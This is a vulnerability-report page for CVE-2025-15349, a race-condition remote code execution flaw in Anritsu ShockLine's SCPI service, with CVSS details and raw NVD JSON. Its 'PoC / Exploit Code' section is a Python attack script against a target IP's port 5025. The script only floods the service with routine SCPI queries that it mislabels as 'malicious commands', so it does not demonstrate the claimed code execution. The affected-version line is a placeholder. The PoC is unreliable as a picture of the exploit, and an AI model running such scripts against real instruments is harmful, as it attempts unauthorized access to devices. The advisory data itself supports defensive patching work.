Security Vulnerability Report
中文
CVE-2025-15349 CVSS 7.5 HIGH

CVE-2025-15349

Published: 2026-01-23 04:16:01
Last Modified: 2026-02-23 16:20:45

Description

Anritsu ShockLine SCPI Race Condition Remote Code Execution Vulnerability. This vulnerability allows network-adjacent attackers to execute arbitrary code on affected installations of Anritsu ShockLine. Authentication is not required to exploit this vulnerability. The specific flaw exists within the SCPI component. The issue results from the lack of proper locking when performing operations on an object. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-27315.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.0/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:anritsu:shockline:2025.4.1:*:*:*:*:*:*:* - VULNERABLE
Anritsu ShockLine < 最新安全补丁版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-15349 PoC - Anritsu ShockLine SCPI Race Condition RCE Note: This is a conceptual PoC demonstrating the race condition attack pattern. Actual exploitation requires access to the target SCPI service. """ import socket import threading import time import sys def send_scpi_command(sock, command): """Send SCPI command to target""" try: sock.send((command + '\n').encode('utf-8')) response = sock.recv(4096) return response.decode('utf-8', errors='ignore') except Exception as e: return f"Error: {e}" def race_condition_attack(target_ip, target_port=5025): """ Exploit race condition in SCPI component The vulnerability exists due to lack of proper locking when performing concurrent operations on shared objects. """ print(f"[*] Starting race condition attack on {target_ip}:{target_port}") # Establish multiple connections to trigger race condition sockets = [] for i in range(10): try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) sock.connect((target_ip, target_port)) sockets.append(sock) print(f"[+] Connection {i+1} established") except Exception as e: print(f"[-] Connection {i+1} failed: {e}") if len(sockets) < 2: print("[-] Insufficient connections for race condition attack") return False print("[*] Sending concurrent SCPI commands to trigger race condition...") # Define malicious SCPI commands that may trigger the race condition malicious_commands = [ "*IDN?", "SYST:ERR?", "CONF?", "MEAS?", "INIT:IMM", "CALC:PAR:MOD SING", "SENS:FREQ:STAR 1E9", "SENS:FREQ:STOP 10E9", "FORM ASC", "TRIG:SOUR IMM" ] # Send commands concurrently from multiple sockets threads = [] for i, sock in enumerate(sockets): cmd_index = i % len(malicious_commands) thread = threading.Thread( target=send_scpi_command, args=(sock, malicious_commands[cmd_index]) ) threads.append(thread) thread.start() # Minimal delay to increase race condition probability time.sleep(0.001) # Wait for all threads to complete for thread in threads: thread.join(timeout=10) print("[*] Race condition exploitation attempted") # Cleanup for sock in sockets: try: sock.close() except: pass return True def main(): if len(sys.argv) < 2: print("Usage: python cve-2025-15349_poc.py <target_ip> [port]") print("Example: python cve-2025-15349_poc.py 192.168.1.100 5025") sys.exit(1) target_ip = sys.argv[1] target_port = int(sys.argv[2]) if len(sys.argv) > 2 else 5025 print("=" * 60) print("CVE-2025-15349 PoC - Anritsu ShockLine SCPI Race Condition") print("=" * 60) race_condition_attack(target_ip, target_port) if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-15349", "sourceIdentifier": "[email protected]", "published": "2026-01-23T04:16:01.450", "lastModified": "2026-02-23T16:20:45.333", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Anritsu ShockLine SCPI Race Condition Remote Code Execution Vulnerability. This vulnerability allows network-adjacent attackers to execute arbitrary code on affected installations of Anritsu ShockLine. Authentication is not required to exploit this vulnerability.\n\nThe specific flaw exists within the SCPI component. The issue results from the lack of proper locking when performing operations on an object. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-27315."}, {"lang": "es", "value": "Vulnerabilidad de ejecución remota de código por condición de carrera en SCPI de Anritsu ShockLine. Esta vulnerabilidad permite a atacantes adyacentes a la red ejecutar código arbitrario en instalaciones afectadas de Anritsu ShockLine. La autenticación no es necesaria para explotar esta vulnerabilidad.\n\nLa falla específica existe dentro del componente SCPI. El problema resulta de la falta de bloqueo adecuado al realizar operaciones en un objeto. Un atacante puede aprovechar esta vulnerabilidad para ejecutar código en el contexto del proceso actual. Fue ZDI-CAN-27315."}], "metrics": {"cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-362"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:anritsu:shockline:2025.4.1:*:*:*:*:*:*:*", "matchCriteriaId": "FDD073F4-8C77-493D-93FA-DFC47C21B9B5"}]}]}], "references": [{"url": "https://www.zerodayinitiative.com/advisories/ZDI-25-1200/", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}